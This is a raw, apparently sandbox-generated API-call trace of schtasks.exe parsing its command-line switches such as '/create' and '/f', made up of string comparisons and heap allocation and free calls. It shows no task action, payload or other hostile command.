| out: _Buffer="|change|") returned 8 [0150.385] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.385] lstrlenW (lpString="|change|") returned 8 [0150.385] lstrlenW (lpString="|f|") returned 3 [0150.385] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0150.385] SetLastError (dwErrCode=0x490) [0150.385] lstrlenW (lpString="run") returned 3 [0150.385] lstrlenW (lpString="run") returned 3 [0150.385] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.385] lstrlenW (lpString="f") returned 1 [0150.385] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.385] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|run|") returned 5 [0150.385] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.385] lstrlenW (lpString="|run|") returned 5 [0150.385] lstrlenW (lpString="|f|") returned 3 [0150.385] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0150.385] SetLastError (dwErrCode=0x490) [0150.385] lstrlenW (lpString="end") returned 3 [0150.385] lstrlenW (lpString="end") returned 3 [0150.385] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.385] lstrlenW (lpString="f") returned 1 [0150.385] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.386] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|end|") returned 5 [0150.386] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.386] lstrlenW (lpString="|end|") returned 5 [0150.386] lstrlenW (lpString="|f|") returned 3 [0150.386] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0150.386] SetLastError (dwErrCode=0x490) [0150.386] lstrlenW (lpString="showsid") returned 7 [0150.386] lstrlenW (lpString="showsid") returned 7 [0150.386] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.386] lstrlenW (lpString="f") returned 1 [0150.386] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.386] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|showsid|") returned 9 [0150.386] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f2f8 | out: _Buffer="|f|") returned 3 [0150.386] lstrlenW (lpString="|showsid|") returned 9 [0150.386] lstrlenW (lpString="|f|") returned 3 [0150.386] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0150.386] SetLastError (dwErrCode=0x490) [0150.386] SetLastError (dwErrCode=0x490) [0150.386] SetLastError (dwErrCode=0x0) [0150.386] lstrlenW (lpString="/f") returned 2 [0150.386] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0150.386] SetLastError (dwErrCode=0x490) [0150.386] SetLastError (dwErrCode=0x0) [0150.386] lstrlenW (lpString="/f") returned 2 [0150.386] GetProcessHeap () returned 0x3b0000 [0150.386] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cde20 [0150.386] GetProcessHeap () returned 0x3b0000 [0150.387] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cce00 [0150.387] SetLastError (dwErrCode=0x0) [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210) returned 1 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc210) returned 0x8 [0150.387] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210 | out: hHeap=0x3b0000) returned 1 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc20) returned 1 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc20) returned 0x20 [0150.387] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc20 | out: hHeap=0x3b0000) returned 1 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2a0) returned 1 [0150.387] GetProcessHeap () returned 0x3b0000 [0150.387] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2a0) returned 0x14 [0150.388] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2a0 | out: hHeap=0x3b0000) returned 1 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc50) returned 1 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc50) returned 0x20 [0150.388] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc50 | out: hHeap=0x3b0000) returned 1 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2c0) returned 1 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2c0) returned 0x8 [0150.388] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2c0 | out: hHeap=0x3b0000) returned 1 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc80) returned 1 [0150.388] GetProcessHeap () returned 0x3b0000 [0150.388] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc80) returned 0x20 [0150.389] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc80 | out: hHeap=0x3b0000) returned 1 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2e0) returned 1 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2e0) returned 0xe [0150.389] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2e0 | out: hHeap=0x3b0000) returned 1 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccb0) returned 1 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccb0) returned 0x20 [0150.389] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccb0 | out: hHeap=0x3b0000) returned 1 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc300) returned 1 [0150.389] GetProcessHeap () returned 0x3b0000 [0150.389] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc300) returned 0x8 [0150.390] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc300 | out: hHeap=0x3b0000) returned 1 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccce0) returned 1 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccce0) returned 0x20 [0150.390] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccce0 | out: hHeap=0x3b0000) returned 1 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc320) returned 1 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc320) returned 0x6 [0150.390] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc320 | out: hHeap=0x3b0000) returned 1 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd10) returned 1 [0150.390] GetProcessHeap () returned 0x3b0000 [0150.390] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd10) returned 0x20 [0150.391] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd10 | out: hHeap=0x3b0000) returned 1 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc340) returned 1 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc340) returned 0x8 [0150.391] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc340 | out: hHeap=0x3b0000) returned 1 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd40) returned 1 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd40) returned 0x20 [0150.391] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd40 | out: hHeap=0x3b0000) returned 1 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.391] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd70) returned 1 [0150.391] GetProcessHeap () returned 0x3b0000 [0150.392] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd70) returned 0x80 [0150.392] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd70 | out: hHeap=0x3b0000) returned 1 [0150.392] GetProcessHeap () returned 0x3b0000 [0150.392] GetProcessHeap () returned 0x3b0000 [0150.392] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd70) returned 1 [0150.392] GetProcessHeap () returned 0x3b0000 [0150.392] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd70) returned 0x20 [0150.392] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd70 | out: hHeap=0x3b0000) returned 1 [0150.392] GetProcessHeap () returned 0x3b0000 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cde00) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cde00) returned 0x8 [0150.393] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cde00 | out: hHeap=0x3b0000) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccda0) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccda0) returned 0x20 [0150.393] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccda0 | out: hHeap=0x3b0000) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd530) returned 0x10 [0150.393] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530 | out: hHeap=0x3b0000) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdd0) returned 1 [0150.393] GetProcessHeap () returned 0x3b0000 [0150.393] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccdd0) returned 0x20 [0150.394] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdd0 | out: hHeap=0x3b0000) returned 1 [0150.394] GetProcessHeap () returned 0x3b0000 [0150.394] GetProcessHeap () returned 0x3b0000 [0150.394] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cde20) returned 1 [0150.394] GetProcessHeap () returned 0x3b0000 [0150.394] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cde20) returned 0x6 [0150.394] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cde20 | out: hHeap=0x3b0000) returned 1 [0150.394] GetProcessHeap () returned 0x3b0000 [0150.394] GetProcessHeap () returned 0x3b0000 [0150.395] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce00) returned 1 [0150.395] GetProcessHeap () returned 0x3b0000 [0150.395] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cce00) returned 0x20 [0150.396] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce00 | out: hHeap=0x3b0000) returned 1 [0150.396] GetProcessHeap () returned 0x3b0000 [0150.396] GetProcessHeap () returned 0x3b0000 [0150.396] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5480) returned 1 [0150.396] GetProcessHeap () returned 0x3b0000 [0150.396] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5480) returned 0x18 [0150.396] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5480 | out: hHeap=0x3b0000) returned 1 [0150.396] SetLastError (dwErrCode=0x0) [0150.396] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0150.396] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0150.396] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0150.396] VerifyVersionInfoW (in: lpVersionInformation=0x29c350, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29c350) returned 1 [0150.397] SetLastError (dwErrCode=0x0) [0150.397] lstrlenW (lpString="create") returned 6 [0150.397] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0150.397] SetLastError (dwErrCode=0x490) [0150.397] SetLastError (dwErrCode=0x0) [0150.397] lstrlenW (lpString="create") returned 6 [0150.397] GetProcessHeap () returned 0x3b0000 [0150.397] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cce00 [0150.397] GetProcessHeap () returned 0x3b0000 [0150.397] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd530 [0150.397] _memicmp (_Buf1=0x3cd530, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.397] GetProcessHeap () returned 0x3b0000 [0150.397] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd550 [0150.397] SetLastError (dwErrCode=0x0) [0150.397] _memicmp (_Buf1=0x3cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.397] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cbc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0150.397] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0150.398] GetProcessHeap () returned 0x3b0000 [0150.398] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x74e) returned 0x3cdd70 [0150.398] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3cdd70 | out: lpData=0x3cdd70) returned 1 [0150.398] VerQueryValueW (in: pBlock=0x3cdd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29c438, puLen=0x29c4a0 | out: lplpBuffer=0x29c438*=0x3ce10c, puLen=0x29c4a0) returned 1 [0150.398] _memicmp (_Buf1=0x3cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.398] _vsnwprintf (in: _Buffer=0x3cbc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29c418 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0150.398] VerQueryValueW (in: pBlock=0x3cdd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29c4a8, puLen=0x29c498 | out: lplpBuffer=0x29c4a8*=0x3cdf38, puLen=0x29c498) returned 1 [0150.398] lstrlenW (lpString="schtasks.exe") returned 12 [0150.398] lstrlenW (lpString="schtasks.exe") returned 12 [0150.398] lstrlenW (lpString=".EXE") returned 4 [0150.398] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0150.398] lstrlenW (lpString="schtasks.exe") returned 12 [0150.398] lstrlenW (lpString=".EXE") returned 4 [0150.399] lstrlenW (lpString="schtasks") returned 8 [0150.399] lstrlenW (lpString="/create") returned 7 [0150.399] _memicmp (_Buf1=0x3cbaa0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.399] _vsnwprintf (in: _Buffer=0x3cbc40, _BufferCount=0x19, _Format="%s %s", _ArgList=0x29c418 | out: _Buffer="schtasks /create") returned 16 [0150.399] _memicmp (_Buf1=0x3cbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.399] GetProcessHeap () returned 0x3b0000 [0150.399] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccdd0 [0150.399] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.399] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0150.399] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0150.399] GetProcessHeap () returned 0x3b0000 [0150.399] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x30) returned 0x3c7ae0 [0150.399] _vsnwprintf (in: _Buffer=0x3cc040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29c418 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0150.399] GetProcessHeap () returned 0x3b0000 [0150.399] GetProcessHeap () returned 0x3b0000 [0150.399] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd70) returned 1 [0150.399] GetProcessHeap () returned 0x3b0000 [0150.399] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd70) returned 0x74e [0150.400] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd70 | out: hHeap=0x3b0000) returned 1 [0150.400] SetLastError (dwErrCode=0x0) [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="create") returned 6 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="?") returned 1 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="s") returned 1 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="u") returned 1 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="p") returned 1 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="ru") returned 2 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="rp") returned 2 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.400] lstrlenW (lpString="sc") returned 2 [0150.400] GetThreadLocale () returned 0x409 [0150.400] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="mo") returned 2 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="d") returned 1 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="m") returned 1 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="i") returned 1 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="tn") returned 2 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="tr") returned 2 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="st") returned 2 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="sd") returned 2 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="ed") returned 2 [0150.401] GetThreadLocale () returned 0x409 [0150.401] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.401] lstrlenW (lpString="it") returned 2 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.403] lstrlenW (lpString="et") returned 2 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.403] lstrlenW (lpString="k") returned 1 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.403] lstrlenW (lpString="du") returned 2 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.403] lstrlenW (lpString="ri") returned 2 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.403] lstrlenW (lpString="z") returned 1 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.403] lstrlenW (lpString="f") returned 1 [0150.403] GetThreadLocale () returned 0x409 [0150.403] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.404] lstrlenW (lpString="v1") returned 2 [0150.408] GetThreadLocale () returned 0x409 [0150.408] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.408] lstrlenW (lpString="xml") returned 3 [0150.408] GetThreadLocale () returned 0x409 [0150.408] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.408] lstrlenW (lpString="ec") returned 2 [0150.408] GetThreadLocale () returned 0x409 [0150.408] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.408] lstrlenW (lpString="rl") returned 2 [0150.408] GetThreadLocale () returned 0x409 [0150.408] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.408] lstrlenW (lpString="delay") returned 5 [0150.409] GetThreadLocale () returned 0x409 [0150.410] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0150.410] lstrlenW (lpString="np") returned 2 [0150.410] SetLastError (dwErrCode=0x0) [0150.410] SetLastError (dwErrCode=0x0) [0150.410] lstrlenW (lpString="/create") returned 7 [0150.410] lstrlenW (lpString="-/") returned 2 [0150.410] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.410] lstrlenW (lpString="create") returned 6 [0150.410] lstrlenW (lpString="create") returned 6 [0150.410] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.410] lstrlenW (lpString="create") returned 6 [0150.410] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.410] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.410] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.410] lstrlenW (lpString="|create|") returned 8 [0150.410] lstrlenW (lpString="|create|") returned 8 [0150.410] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" 